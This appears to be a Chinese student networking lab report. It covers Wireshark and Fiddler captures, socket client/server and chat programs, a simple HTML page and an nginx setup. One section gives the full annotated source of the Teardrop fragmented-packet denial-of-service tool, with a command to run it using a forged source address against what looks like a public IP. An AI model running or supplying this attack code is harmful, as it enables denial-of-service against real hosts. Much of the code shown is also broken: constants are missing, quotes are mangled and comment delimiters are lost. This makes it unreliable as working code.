一、wireshark抓包分析TCP协议的三次握手连接、四次握手断开
目标网站:qige.io
1.三次握手
前两次握手syn位为1,第一次ack位为0,第二次握手ack位为1,第三次握手syn位位0,ack位为1
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
2.四次握手
因为抓包时间过短,作者并没有完整抓到握手断开的包
就是类似于下图的包,理论来说,客户端和服务端会互发1次fin包,fin位为1.
例如客户端向服务端发送了一个fin包,表示我(客户端)已经没有数据要发送了,服务端收到并向客户端发送一个ack包,表示我收到了这个消息,而后当服务端没有数据发送后,向客户端发送一个fin包,表示服务端没有数据要发送了,客户端收到这个fin包,向服务端发送一个ack包,至此,tcp四次握手释放连接完成
在这里插入图片描述
二、Fiddler抓包
参考 https://blog.csdn.net/weixin_43664254/article/details/94601280
在这里插入图片描述
一个https网站连接过程:
https://blog.csdn.net/dseai_/article/details/71214500
三、Teardrop代码编程
虚拟机打开ubantu,新建Teardrop.c文件,加入以下代码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <errno.h>
void usage(u_char *); //处理错误
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short); //IP内容的设置,进行发送IP包
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0; //定义源IP和目的IP
u_short src_prt = 0, dst_prt = 0;//定义源端口和目的端口
struct in_addr addr; //定义一个in_addr对象
printf(“teardrop route|daemon9\n\n”);
/socket(AF_INET,SOCK_RAW,IPPROTO_RAW),其原型为
int socket(int domain, int type, int protocol);
int domain”参数表示套接字要使用的协议簇,常用的协议簇:
AF_UNIX(本机通信)
AF_INET(TCP/IP – IPv4)
AF_INET6(TCP/IP – IPv6)
“type”参数指的是套接字类型,常用的类型有:
SOCK_STREAM(TCP流)
SOCK_DGRAM(UDP数据报)
SOCK_RAW(原始套接字)
“protocol”参数用来确定套接字使用的协议簇和类型
一般设置为“0”,但是有时候创建原始套接字时,并不知道要使用的协议簇
和类型,也就是domain参数未知情况下,它可以确定协议的种类。
IPPROTO_RAW就是确定协议的类型
当套接字创建成功时,返回套接字,失败返回“-1”。即失败就会输出错误信
息,然后就退出程序/
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
fprintf(stderr, “raw socket”);
exit(1);
}
/*setsockopt函数是用于任意类型、任意状态套接口的设置选项值,即设置套接口的选项
setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))的原型:
int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen);
sockfd:标识一个套接口的描述字。
level:选项定义的层次;支持SOL_SOCKET、IPPROTO_TCP、IPPROTO_IP和IPPROTO_IPV6等。
optname:需设置的选项。
optval:指针,指向存放选项值的缓冲区。
optlen:optval缓冲区长度。
IP_HDRINCL:如果是TRUE,IP头就会随即将发送的数据一起提交,并从读取
的数据中返回
*/
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))< 0)
{
fprintf(stderr, “IP_HDRINCL”);
exit(1);
}
//当main中传入的参数个数少于3时,就会利用处理错误函数进行输入一些信息
if (argc < 3) usage(argv[0]);
//通过函数name_resolve进行源IP和目的IP的设置
if(!(src_ip=name_resolve(argv[1]))||!(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, “What the hell kind of IP address is that?\n”);
exit(1);
}
/*getopt函数来解析命令行参数
getopt(argc, argv, “s:t:n:”)的原型:
int getopt(int argc, char * const argv[], const char *optstring);
如果getopt函数找到一个选项字符,则返回该字符,更新外部变量optind和
一个静态变量nextchar,以便下次调用getopt函数可以使用下一个选项字符
或argv中 带-符号的参数恢复扫描。如果没有更多选项字符,getopt()返
回-1。 那么optind是第一个argv中带-的参数的索引。optstring是一个包
含合法选项字符的字符串。optarg是指向当前选项参数(如果有)的指针。
atoi()函数 atoi()原型:
int atoi(const char *str );
函数功能:把字符串转换成整型数,若无法转换,则返回0 */
while ((i = getopt(argc, argv, “s:t:n:”)) != EOF)
{
switch (i)
{
case ‘s’: // source port
src_prt = (u_short)atoi(optarg);
break;
case ‘t’: // dest port
dst_prt = (u_short)atoi(optarg);
break;
case ‘n’: // number to send
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; // NOTREACHED
}
}
//通过srandom函数设置种子值
srandom((unsigned)(time((time_t)0)));
//若上面源端口的值为0,就随机生成一个随机数赋值给源端口
if (!src_prt) src_prt = (random() % 0xffff);
//若上面目的端口的值为0,就随机生成一个随机数赋值给目的端口
if (!dst_prt) dst_prt = (random() % 0xffff);
//发送的次数的若为0,就将设定好的COUNT值赋给count
if (!count) count = COUNT;
printf(“Death on flaxen wings:\n”);
addr.s_addr = src_ip; //给addr对象赋值
//inet_ntoa()函数功能是将网络地址转换成“.”点隔的字符串格式
printf(“From: %15s.%5d\n”, inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip; //给addr对象赋值
printf(" To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
printf(" Amt: %5d\n", count);
printf("[ ");
//循环调用send_frags函数发送IP包
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
printf(“b00m “);
usleep(500);
}
printf(”]\n”);
return (0);
}
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; // packet pointers(IP包指针)
u_char byte; // a byte
/*套接字协议结构体
struct sockaddr_in{
sa_family_in sin_family;//地址族
uint6_t sin_port;//16位的TCP/UDP的端口号
struct in_addr sin_addr;//16位的IP地址
char sin_zero[8];//不使用
}
*/
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
//malloc函数原型是void *malloc(size_t size),用于分配所需的内存空间,并返回一个指向它的指针
packet = (u_char *)malloc(IPH + UDPH + PADDING);
//网络层IP包的设置
p_ptr = packet; //IP包头部中版本和头部长度的设置,4表示采用IPv4,5表示头部有5行
/*bzero函数
原型:extern void bzero(void *s, int n);
用法:#include <string.h>
功能:置字节字符串s的前n个字节为零。
说明:bzero无返回值。
*/
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45;
/*memcpy函数
原型:extern void *memcpy(void *dest, void *src, unsigned int count);
用法:#include <string.h>
功能:由src所指内存区域复制count个字节到dest所指内存区域。
说明:src和dest所指内存区域不能重叠,函数返回指向dest的指针。*/
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; // IP包中TOS (skipped)的执行
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);//IP包的总长度的设置
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); // IP包的identifier(标识号)的设置
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); //IP包中frag flags and offset的设置
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; // IP中TTL(生命周期)设置
byte = IPPROTO_UDP;//IP包中的采用的协议设置
memcpy(p_ptr + 1, &byte, sizeof(u_char)); // IP包checksum(校验和)的设置
p_ptr += 4; // IP包中source address(源IP地址)
*((u_long *)p_ptr) = src_ip;
p_ptr += 4; // IP包中的destination address(目的地址)
*((u_long *)p_ptr) = dst_ip;
p_ptr += 4;
//应用层的Segment的设置
*((u_short *)p_ptr) = htons(src_prt); // UDP source port(源端口)
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); // UDP destination port(目的端口)
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); // UDP total length(总长度)
//sendto函数是向某个目的终端发送数据,当发生数据成功,就会返回发送数据的字节数,否则返回SOCKET_ERROR
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "\nsendto");
free(packet);
exit(1);
}
// IP total length is 2 bytes into the header
p_ptr = &packet[2];
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4;
*((u_short *)p_ptr) = FIX(MAGIC);
if (sendto(sock, packet, IPH+MAGIC+1, 0, (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "\nsendto");
free(packet);
exit(1);
}
free(packet);
}
//获取终端的信息
u_long name_resolve(u_char *host_name)
{
/*struct in_addr{
In_addr_t s_addr;//32位IP地址
}
*/
struct in_addr addr;
/*struct hostent
{
char h_name; //主机名,即官方域名
char **h_aliases; //主机所有别名构成的字符串数组,同一IP可绑定多个域名
int h_addrtype; //主机IP地址的类型,例如IPV4(AF_INET)还是IPV6
int h_length; //主机IP地址长度,IPV4地址为4,IPV6地址则为16
char *h_addr_list; / 主机的ip地址,以网络字节序存储。若要打印出这个IP,需要调用inet_ntoa()。/
};
*/
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
//gethostbyname函数是利用字符串格式的域名获得IP地址,并且将地址信息装入 hostent 域名结构体,成功时返回值为hostent结构体,失败返回NULL指针
if (!(host_ent = gethostbyname(host_name)))
return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
//错误处理函数
void usage(u_char *name)
{
fprintf(stderr, “%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n”,name);
exit(0);
}
终端编译生成可执行文件
gcc Teardrop.c -o Teardrop
执行
第一个IP是伪造源ip 第二个是目的ip
sudo ./teardrop 192.168.10.111 61.151.206.192
1
在这里插入图片描述
四、SOCKET应用实例
参考:https://blog.csdn.net/qq_43279579/article/details/110240423
面向连接的流式套接字 C/S
服务器
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>
#define PORT “9090” // the port users will be connecting to
#define BACKLOG 10 // how many pending connections queue will hold
void sigchld_handler(int s)
{
/*waitpid函数原型:
pid_t waitpid(pid_t pid,int *status,int options)
作用:暂时停止目前进程的执行,直到有信号来到或子进程结束
参数说明:
pid:当pid>0时,只等待进程ID等于pid的子进程,不管其它已经有多少子进程
运行结束退出了,只要指定的子进程还没有结束,waitpid就会一直等下去。
pid=-1时,等待任何一个子进程退出,没有任何限制,此时waitpid和wait的作
用一模一样。pid=0时,等待同一个进程组中的任何子进程,如果子进程已经加
入了别的进程组,waitpid不会对它做任何理睬。pid<-1时,等待一个指定进程
组中的任何子进程,这个进程组的ID等于pid的绝对值。
options:目前只要WNOHANG和WUNTRACED两个选项,这是两个常数,可以用"|"运算符把它们连接起来使用
函数的返回值:
当正常返回的时候,waitpid返回收集到的子进程的进程ID;如果设置了选项WNOHANG,而调用中waitpid发现没有已退出的子进程可收集,则返回0;
如果调用中出错,则返回-1,这时errno会被设置成相应的值以指示错误所在;当pid所指示的子进程不存在,或此进程存在,但不是调用进程的子进程,
waitpid就会出错返回,这时errno被设置为ECHILD;
*/
while(waitpid(-1, NULL, WNOHANG) > 0);
}
// get sockaddr, IPv4 or IPv6(获取IP地址):
/*struct sockaddr {
sa_family_t sin_family;//地址族
char sa_data[14]; //14字节,包含套接字中的目标地址和端口信息
};
如果地址是IPv4,返回32位的IP地址
*/
void get_in_addr(struct sockaddr sa)
{
if (sa->sa_family == AF_INET)
{
return &(((struct sockaddr_in)sa)->sin_addr);
}
return &(((struct sockaddr_in6)sa)->sin6_addr);
}
int main(void)
{
int sockfd, new_fd; // listen on sock_fd, new connection on new_fd
/*struct addrinfo {
int ai_flags;//指示在getaddrinfo函数中使用的选项的标志。
int ai_family;
int ai_socktype;
int ai_protocol;
size_t ai_addrlen;//缓冲区的长度(以字节为单位)
char *ai_canonname;//主机的规范名称
struct sockaddr *ai_addr;//向 sockaddr 结构的指针。每个返回的addrinfo结构中的ai_addr成员指向一个填充的套接字地址结构
struct addrinfo *ai_next;//指向链表中下一个结构的指针。此参数在链接列表的最后一个addrinfo结构中设置为NULL。
}
*/
struct addrinfo hints, *servinfo, *p;
/struct sockaddr_storage
{
sa_family_t ss_family; //地址族
__ss_aligntype __ss_align; //Force desired alignment.
char __ss_padding[_SS_PADSIZE];
};/
struct sockaddr_storage their_addr; // connector’s address information
socklen_t sin_size;
/*struct sigaction {
void (*sa_handler)(int);//新的信号处理函数
void (*sa_sigaction)(int, siginfo_t *, void );
sigset_t sa_mask;//设置在处理该信号时暂时将sa_mask 指定的信号集搁置
int sa_flags;//设置信号处理的其他相关操作
void (sa_restorer)(void);
}/
struct sigaction sa;
int yes=1;
char s[INET6_ADDRSTRLEN];
int rv;
/ memset()函数原型:
extern void *memset(void *buffer, int c, int count)
参数说明:
buffer:为指针或是数组,
c:是赋给buffer的值,
count:是buffer的长度
作用:
将某一块内存中的内容全部设置为指定的值, 这个函数通常为新申请的内存做初始化工作。socket中多用于清空数组。
*/
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = AI_PASSIVE; // use my IP
/*getaddrinfo函数原型:
int getaddrinfo( const char *hostname, const char *service, const struct addrinfo *hints, struct addrinfo **result );
参数说明:
hostname:一个主机名或者地址串(IPv4的点分十进制串或者IPv6的16进制串)
service:服务名可以是十进制的端口号,也可以是已定义的服务名称,如ftp、http等
hints:可以是一个空指针,也可以是一个指向某个addrinfo结构体的指针,调用者在这个结构中填入关于期望返回的信息类型的暗示。举例来说:指定的服务既可支持TCP也可支持UDP,所以调用者可以把hints结构中的ai_socktype成员设置成SOCK_DGRAM使得返回的仅仅是适用于数据报套接口的信息。
result:本函数通过result指针参数返回一个指向addrinfo结构体链表的指针。
返回值:0——成功,非0——出错
*/
if ((rv = getaddrinfo(NULL, PORT, &hints, &servinfo)) != 0)
{
fprintf(stderr, “getaddrinfo: %s\n”, gai_strerror(rv));
return 1;
}
for(p = servinfo; p != NULL; p = p->ai_next)
{
if ((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
{
perror(“server: socket”);
continue;
}
/*setsockopt函数是用于任意类型、任意状态套接口的设置选项值,即设置套接口的选项
setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))的原型:
int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen);
sockfd:标识一个套接口的描述字。
level:选项定义的层次;支持SOL_SOCKET、IPPROTO_TCP、IPPROTO_IP和IPPROTO_IPV6等。
optname:需设置的选项。
optval:指针,指向存放选项值的缓冲区。
optlen:optval缓冲区长度。
IP_HDRINCL:如果是TRUE,IP头就会随即将发送的数据一起提交,并从读取
的数据中返回
*/
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)
{
perror(“setsockopt”);
exit(1);
}
/*通过给一个未命名套接口分配一个本地名字来为套接口建立本地捆绑(主机地址/端口号)。
bind函数原型:
int bind( int sockfd , const struct sockaddr * my_addr, socklen_t addrlen);
参数说明:
sockfd:已经建立的socket编号(描述符);
my_addr:一个指向sockaddr结构体类型的指针;
addrlen:my_addr结构的长度,可以用sizeof操作符获得
*/
if (bind(sockfd, p->ai_addr, p->ai_addrlen) == -1)
{
close(sockfd);
perror(“server: bind”);
continue;
}
break;
}
if (p == NULL)
{
fprintf(stderr, “server: failed to bind\n”);
return 2;
}
freeaddrinfo(servinfo); // all done with this structure
/创建一个套接口并监听申请的连接.
listen函数原型:
int listen( int sockfd, int backlog);
参数说明:
sockfd:用于标识一个已捆绑未连接套接口的描述字。
backlog:等待连接队列的最大长度/
if (listen(sockfd, BACKLOG) == -1)
{
perror(“listen”);
exit(1);
}
sa.sa_handler = sigchld_handler; // reap all dead processes
//sigemptyset 函数初始化信号集合set,将set 设置为空.
sigemptyset(&sa.sa_mask);
sa.sa_flags = SA_RESTART;
/*sigaction函数用来查询和设置信号处理方式
函数原型:
int sigaction(int signum,const struct sigaction *act ,struct sigaction *oldact)
*/
if (sigaction(SIGCHLD, &sa, NULL) == -1)
{
perror(“sigaction”);
exit(1);
}
printf(“server: waiting for connections…\n”);
//循环接收客户端的连接
while(1)
{ // main accept() loop
sin_size = sizeof their_addr;
/*一个套接口接受的一个连接
accept函数原型:
SOCKET accept(int sockfd, struct sockaddr *addr, socklen_t addrlen);
参数说明:
sockfd:套接字描述符,该套接口在listen()后监听连接。
addr:(可选)指针,指向一缓冲区,其中接收为通讯层所知的连接实体的地址。Addr参数的实际格式由套接口创建时所产生的地址族确定。
addrlen:(可选)指针,输入参数,配合addr一起使用,指向存有addr地址长度的整型数。/
new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size);
if (new_fd == -1)
{
perror(“accept”);
continue;
}
/*inet_ntop函数原型:
const char * inet_ntop(int family, const void *addrptr, char strptr, size_t len);
作用:
将数值格式转化为点分十进制的ip地址格式
返回值:若成功则为指向结构的指针,若出错则为NULL/
inet_ntop(their_addr.ss_family, get_in_addr((struct sockaddr *)&their_addr), s, sizeof s);
printf(“server: got connection from %s\n”, s);
if (!fork())
{ // this is the child process
close(sockfd); // child doesn’t need the listener
//发送一个消息给客户端
if (send(new_fd, “Hello, world!”, 13, 0) == -1) perror(“send”);
close(new_fd);
exit(0);
}
close(new_fd); // parent doesn’t need this
}
return 0;
}
客户端
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define PORT “9090” // the port client will be connecting to
#define MAXDATASIZE 100 // max number of bytes we can get at once
// get sockaddr, IPv4 or IPv6:
void get_in_addr(struct sockaddr sa)
{
if (sa->sa_family == AF_INET)
{
return &(((struct sockaddr_in)sa)->sin_addr);
}
return &(((struct sockaddr_in6)sa)->sin6_addr);
}
int main(int argc, char *argv[])
{
int sockfd, numbytes;
char buf[MAXDATASIZE];
struct addrinfo hints, *servinfo, *p;
int rv;
char s[INET6_ADDRSTRLEN];
//若输入的命令行参数(包括命令本身)不等于2,就输出错误信息,并退出程序。
if (argc != 2)
{
fprintf(stderr,“usage: client hostname\n”);
exit(1);
}
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
if ((rv = getaddrinfo(argv[1], PORT, &hints, &servinfo)) != 0)
{
fprintf(stderr, “getaddrinfo: %s\n”, gai_strerror(rv));
return 1;
}
for(p = servinfo; p != NULL; p = p->ai_next)
{
if ((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
{
perror(“client: socket”);
continue;
}
//连接服务器
if (connect(sockfd, p->ai_addr, p->ai_addrlen) == -1)
{
close(sockfd);
perror(“client: connect”);
continue;
}
break;
}
if (p == NULL)
{
fprintf(stderr, “client: failed to connect\n”);
return 2;
}
inet_ntop(p->ai_family, get_in_addr((struct sockaddr *)p->ai_addr), s, sizeof s);
printf(“client: connecting to %s\n”, s);
freeaddrinfo(servinfo); // all done with this structure
if ((numbytes = recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1)
{
perror(“recv”);
exit(1);
}
buf[numbytes] = ‘\0’;
printf(“client: received ‘%s’\n”,buf);
close(sockfd);
return 0;
}
非阻塞的多人聊天服务器
服务器
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#define PORT “9090” //port we’re listening on
//get sockaddr,IPv4 or IPv6:
void get_in_addr(struct sockaddr sa)
{
if(sa->sa_family == AF_INET){
return &(((struct sockaddr_in)sa)->sin_addr);
}
return &(((struct sockaddr_in6)sa)->sin6_addr);
}
int main(void)
{
fd_set master; //主文件描述符列表
fd_set read_fds; //select() 的临时文件描述符列表
int fdmax; //最大文件
int listener; //监听套接字
struct sockaddr_storage remoteaddr; //客户端地址,该数据结构是用于存储套接字地址信息
socklen_t addrlen;
char buf[256]; //用于客户端数据的缓冲区
int nbytes;
int yes=1; //for setsockopt() SO_REUSEADDR,below
int i,j,rv;
char remoteIP[INET_ADDRSTRLEN];
struct addrinfo hints,*ai,*p; //地址信息结构体
FD_ZERO(&master); //清除主文件描述符列表
FD_ZERO(&read_fds); //清楚临时文件描述符列表
//给我们一个套接字并绑定它
memset(&hints, 0, sizeof hints); //将某一块内存中的内容全部设置为指定的值, 这个函数通常为新申请的内存做初始化工作。socket中多用于清空数组。此处是将地址信息置零。
hints.ai_family = AF_UNSPEC; //AF_UNSPEC(协议无关)
hints.ai_socktype = SOCK_STREAM; //SOCK_STREAM(流)
hints.ai_flags = AI_PASSIVE; //AI_PASSIVE(被动的,用于 bind)
if((rv = getaddrinfo(NULL, PORT, &hints, &ai)) != 0)
{
fprintf(stderr, "selectserver:%s\n", gai_strerror(rv));
exit(1);
}
//遍历所有的结果
for(p = ai; p != NULL; p = p->ai_next)
{
//创建套接字并赋值给 listener 套接字描述符
listener = socket(p->ai_family, p->ai_socktype, p->ai_protocol);
if(listener < 0)
{
continue;
}
setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int));
/*
bind 函数:用于连接的数据报或流类套接口,进行绑定
*/
if(bind(listener, p->ai_addr, p->ai_addrlen) < 0)
{
close(listener);
continue;
}
break;
}
if(p == NULL)
{
fprintf(stderr, "selectserver:failed to bind\n");
exit(2);
}
//到了这里,意味着服务器的地址和端口绑定完成,可以释放 ai 的内存
freeaddrinfo(ai);
/*
listen 函数:创建一个套接口并监听申请的连接.
参数一:用于标识一个已捆绑未连接套接口的描述符
参数二:等待连接队列的最大长度(这里是 10),即表示最大可以连接的客户端数量
*/
if(listen(listener, 10) == -1)
{
perror("listen");
exit(3);
}
//将侦听器添加到主文件
FD_SET(listener, &master);
//跟踪最大的文件描述符
fdmax = listener; 、
//主循环
for(;;)
{
read_fds = master; //将主文件描述符表复制到临时文件描述符表
/*
select 函数:确定一个或多个套接口的状态,如需要则等待。
原型:int select( int nfds, fd_set FAR* readfds, fd_set * writefds,fd_set * exceptfds, const struct timeval * timeout);
nfds:是一个整数值,是指集合中所有文件描述符的范围,即所有文件描述符的最大值加1,不能错!在Windows中这个参数的值无所谓,可以设置不正确。
readfds:(可选)指针,指向一组等待可读性检查的套接口。
writefds:(可选)指针,指向一组等待可写性检查的套接口。
exceptfds:(可选)指针,指向一组等待错误检查的套接口。
timeout:select()最多等待时间,对阻塞操作则为 NULL。
*/
if(select(fdmax + 1, &read_fds, NULL, NULL, NULL) == -1)
{
perror("select");
exit(4);
}
for(i = 0; i <= fdmax; i++)
{
/*
宏原型:int FD_ISSET(int fd,fd_set *fdset)
在调用 selelct() 函数后,用 FD_ISSET 来检测 fd 在 fdset 集合中的状态是否变化
返回整型,当检测到 fd 状态发生变化时返回真,否则返回假
*/
if(FD_ISSET(i, &read_fds)) //得到了一个连接
{
if(i == listener)//如果新连接为最大文件描述符
{
//处理新连接
addrlen = sizeof remoteaddr;
newfd = accept(listener, (struct sockaddr *)&remoteaddr, &addrlen);
if(newfd == -1)
{
perror("accept");
}
else
{
FD_SET(newfd, &master); //添加到主文件描述符列表
if(newfd > fdmax) //记录最大值
{
fdmax = newfd;
}
printf("selectserver:new connection from %s on socket %d\n", inet_ntop(remoteaddr.ss_family, get_in_addr((struct sockaddr*)&remoteaddr), remoteIP, INET_ADDRSTRLEN), newfd);
}
}
else
{
//处理来自客户端的数据
if((nbytes = recv(i, buf, sizeof buf, 0)) <= 0)
{
//出现错误或连接被客户端关闭
if(nbytes == 0)
{
//连接关闭了
printf("selectserver:socket %d hung up\n", i);
}
else
{
perror("recv");
}
close(i); //关闭
FD_CLR(i, &master); //从主文件描述符列表中删除
}
else
{
for(j =0; j <= fdmax; j++)
{
if(FD_ISSET(j, &master))
{
if(j != listener && j != i)
{
if(send(j, buf, nbytes, 0) == -1)
{
perror("send");
}
}
}
}
}
} //END handle from client
} //END got new incoming connection
} //END looping through file descriptors
} //END for(;;)--and you thought it would never end!
return 0;
}
客户端
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#define PORT “9090” //the port client will be connecting to
#define MAXDATASIZE 100 //max number of bytes we can get at once
int sockfd, numbytes;
char buf[MAXDATASIZE];
//get sockaddr, IPv4 or IPv6
void get_in_addr(struct sockaddr sa)
{
if(sa->sa_family == AF_INET)
{
return &(((struct sockaddr_in)sa)->sin_addr);
}
return &(((struct sockaddr_in6)sa)->sin6_addr);
}
void recvMag()
{
/
int recv( SOCKET s,char FAR *buf,int len,int flags);
recv函数从TCP连接的另一端接收数据
第一个参数指定接收端套接字描述符;
第二个参数指明一个缓冲区,该缓冲区用来存放recv函数接收到的数据;
第三个参数指明buf的长度;
第四个参数一般置0。
*/
while(1)
{
if((numbytes = recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1)
{
perror(“recv”);
exit(1);
}
if(numbytes == 1)
continue;
buf[numbytes] = ‘\0’;
printf("\nreceived:%s\n",buf);
}
}
int main(int argc, char *argv[])
{
struct addrinfo hints, *servinfo, *p;
int rv;
char s[INET6_ADDRSTRLEN];
pthread_t t1;
char mag[MAXDATASIZE];
if(argc != 2)
{
fprintf(stderr, "usage:client hostname\n");
exit(1);
}
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
if((rv = getaddrinfo(argv[1], PORT, &hints, &servinfo)) != 0)
{
fprintf(stderr, "getaddrinfo:%s\n",gai_strerror(rv));
return 1;
}
for(p = servinfo; p != NULL; p = p->ai_next)
{
if((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
{
perror("client:socket");
continue;
}
if(connect(sockfd, p->ai_addr, p->ai_addrlen) == -1)
{
close(sockfd);
perror("client:connect");
continue;
}
break;
}
if(p == NULL)
{
fprintf(stderr, "client:failed to connect\n");
return 2;
}
inet_ntop(p->ai_family, get_in_addr((struct sockaddr*)p->ai_addr), s, sizeof s);
printf("client:connecting to %s\n",s);
freeaddrinfo(servinfo);
int err = pthread_create(&t1, NULL, recvMag, NULL);
if(err != 0)
{
printf("receive failed");
exit(1);
}
while(1)
{
scanf("%s", mag);
if(send(sockfd, mag, sizeof mag, 0) == -1)
{
printf("send failed!\n");
}
}
return 0;
}
五、一个简单的个人介绍html网页制作
新建一个文件,后缀名改为html,内容如下:
<div class="right-container">
<div class="content">
<div>
<h1 style="font-size:500%;color:white">个人介绍</h1>
<h2 style="font-size:300%;color:white">昵称:...</h2>
<h3 style="font-size:300%;color:white">学历:本科</h3>
<h4 style="font-size:300%;color:white">like</h4>
<h5 style="font-size:500%;color:white">...</h5>
</div>
</div>
</div>
</div>
<h6 style="font-size:500%;color:white"><a href="https://my.163.com/">mhxy</a></h6>
<h7 style="font-size:500%;color:white"><a href="./b.png" download="b.png">bbaackground_image_download</a></h8>
图片和网页文件必须放在同一文件夹下
然后用浏览器打开就可以了,效果如图
下面还有一个超链接和一个下载链接
在这里插入图片描述
一个简单的web网站
工具:nginx
环境:ubantu
下载安装nginx参考https://blog.csdn.net/qq_23832313/article/details/83578836
将自己制作的静态网页改名为index.html,放入ubantu一个文件夹中
打开命令行窗口,在 当前文件夹下,执行命令
sudo mv index.html var/www/html
sudo mv b.png var/www/html
重新启动nginx,打开浏览器,输入127.0.0.1,可以看到(别人访问这个网页就需要自己的外部ip)